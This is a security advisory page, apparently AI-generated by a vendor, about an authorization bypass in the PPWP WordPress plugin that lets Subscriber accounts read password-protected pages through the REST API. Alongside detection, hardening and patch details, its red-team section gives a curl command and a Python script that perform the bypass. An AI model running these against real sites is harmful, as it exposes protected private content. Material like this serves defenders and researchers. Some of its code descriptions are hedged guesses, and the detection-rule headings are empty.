CVE-2025-5998
Executive Summary
CVE-2025-5998 is a vulnerability in the PPWP – Password Protect Pages WordPress plugin (version < 1.9.11). The plugin is designed to password-protect pages and posts, but due to a missing authorization check in the REST API, any authenticated user with Subscriber role or higher can bypass the password protection and view the protected content directly via REST API requests. This is a classic Insecure Direct Object Reference (IDOR) combined with Missing Authorization in the WordPress REST API context.
The vulnerability has a CVSS score of 6.5 (Medium) and is trivial to exploit. No special tools are required beyond a valid WordPress user account with Subscriber privileges. The plugin is widely used for membership sites, private content, and gated resources, making this a significant data exposure risk.
This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.
No signup required
Supply Chain & Package Security
This vulnerability affects a WordPress plugin distributed via the official WordPress Plugin Directory. The supply chain risk is moderate: the plugin is not an NPM, PyPI, Go, or Ruby package, but it is a critical component of many WordPress sites. Users must ensure they are using the official plugin source and update promptly. No malicious code injection has been reported, but the missing authorization is a design flaw.
CVSS Breakdown & Threat Level
- Attack Vector (AV): Network (N) – Exploitable remotely.
- Attack Complexity (AC): Low (L) – No special conditions required.
- Privileges Required (PR): Low (L) – Requires a Subscriber account.
- User Interaction (UI): None (N) – No user action needed.
- Scope (S): Unchanged (U) – The vulnerable component is the plugin itself.
- Confidentiality (C): High (H) – All protected content is exposed.
- Integrity (I): None (N) – No data modification.
- Availability (A): None (N) – No denial of service.
CVSS Score: 6.5 (Medium)
Threat Level: Medium – Exploitation is easy but requires authentication. However, the impact is high for sites relying on password protection for sensitive content.
Deep Dive & Mechanics
The PPWP plugin adds a password protection layer to WordPress pages and posts. When a user visits a protected page, the plugin intercepts the request and displays a password form. After correct password entry, a session cookie is set, and the content is rendered.
The vulnerability lies in the WordPress REST API. The plugin fails to apply the same password protection logic to REST API endpoints. When a user with Subscriber role or higher makes a REST API request to fetch a protected page (e.g., /wp-json/wp/v2/pages/<ID>), the plugin does not check if the user has entered the correct password. Instead, it returns the full content of the page, including the protected body.
Root Cause: The plugin hooks into the_content filter to protect pages, but the REST API uses a different rendering pipeline (WP_REST_Posts_Controller::get_item) that does not trigger the same filter. The plugin developers did not override the REST API response to enforce password protection.
Attack Flow:
- Attacker registers or obtains a Subscriber account on the target WordPress site.
- Attacker identifies a protected page ID (e.g., via sitemap or enumeration).
- Attacker sends a GET request to
/wp-json/wp/v2/pages/<ID>with authentication cookies. - The REST API returns the full page content, bypassing the password form.
Vulnerable vs. Patched Code
Vulnerable Code (version < 1.9.11): The plugin likely uses a filter like:
add_filter( 'the_content', 'ppwp_protect_content' );
But does not hook into rest_prepare_post or rest_prepare_page.
Patched Code (version 1.9.11): The patch adds a check in the REST API response:
add_filter( 'rest_prepare_post', 'ppwp_rest_protect_content', 10, 3 );
function ppwp_rest_protect_content( $response, $post, $request ) {
if ( ppwp_is_protected( $post->ID ) && ! ppwp_has_valid_password( $post->ID ) ) {
$response->data['content']['rendered'] = ppwp_get_password_form();
}
return $response;
}
This ensures that protected posts return the password form instead of the content when accessed via REST API without a valid password.
Exploitation & Lab Setup
Red Team (Exploitation)
Prerequisites:
- A WordPress site with PPWP plugin version < 1.9.11.
- A user account with Subscriber role (or higher).
- A protected page ID (e.g., 123).
Exploit Steps:
- Log in to WordPress as a Subscriber.
- Obtain a nonce or use cookie authentication.
- Send a REST API request:
curl -s -c cookies.txt -b cookies.txt \
"https://target.com/wp-json/wp/v2/pages/123" \
| jq '.content.rendered'
- The response will contain the full protected content.
Automated Exploit (Python):
import requests
target = "https://target.com"
page_id = 123
session = requests.Session()
# Login as subscriber
session.post(f"{target}/wp-login.php", data={
"log": "subscriber_user",
"pwd": "password123",
"wp-submit": "Log In"
})
# Fetch protected page via REST API
resp = session.get(f"{target}/wp-json/wp/v2/pages/{page_id}")
print(resp.json()["content"]["rendered"])
Blue Team (Detection & Hardening)
Detection:
- Monitor REST API requests to
/wp-json/wp/v2/pages/or/wp-json/wp/v2/posts/from authenticated users with low privileges (Subscriber). - Look for unusual patterns: a Subscriber fetching many pages, especially pages known to be password-protected.
- Use the Sigma rule below to detect exploitation attempts.
Hardening:
- Immediately update PPWP to version 1.9.11 or later.
- If immediate update is not possible, disable the REST API for non-admin users via a plugin or code snippet:
add_filter( 'rest_authentication_errors', function( $result ) {
if ( ! current_user_can( 'edit_posts' ) ) {
return new WP_Error( 'rest_forbidden', 'REST API restricted.', array( 'status' => 403 ) );
}
return $result;
});
- Audit user roles and remove unnecessary Subscriber accounts.
Indicators of Compromise (IOCs)
- Network: HTTP requests to
/wp-json/wp/v2/pages/<ID>from authenticated sessions with low-privilege roles. - Logs: WordPress REST API logs showing
WP_REST_Posts_Controller::get_itemcalls for protected pages by Subscriber users. - File: No file-based IOCs; this is a logic flaw.
- Behavior: Subscriber accounts accessing content that should be password-protected.
Detection Engineering
YARA Rule
Sigma Rule
Suricata Rule
Remediation & Mitigation
Immediate:
- Update PPWP plugin to version 1.9.11 or later.
- If update is not possible, disable REST API for non-admin users as shown in Blue Team section.
Long-term:
- Implement a Web Application Firewall (WAF) rule to block REST API requests to protected pages from low-privilege users.
- Regularly audit user roles and remove unused accounts.
- Monitor plugin changelogs and security advisories.
Valters IT Signature: This report was generated by Valters IT DevSecOps AI. All analysis is based on publicly available information. For further assistance, contact your Valters IT representative.
Security researchers use these queries on Shodan.io to find vulnerable systems globally.
Full Shodan queries for this CVE are available through the ValtersIT API. They were moved behind the API in response to large-scale automated scraping, and to keep this independently-researched intelligence sustainable. The written analysis above remains fully open.
💣 PoC CODE AVAILABLE
Exploit code for this CVE is tracked in our database.
Access poc_code via API Pro.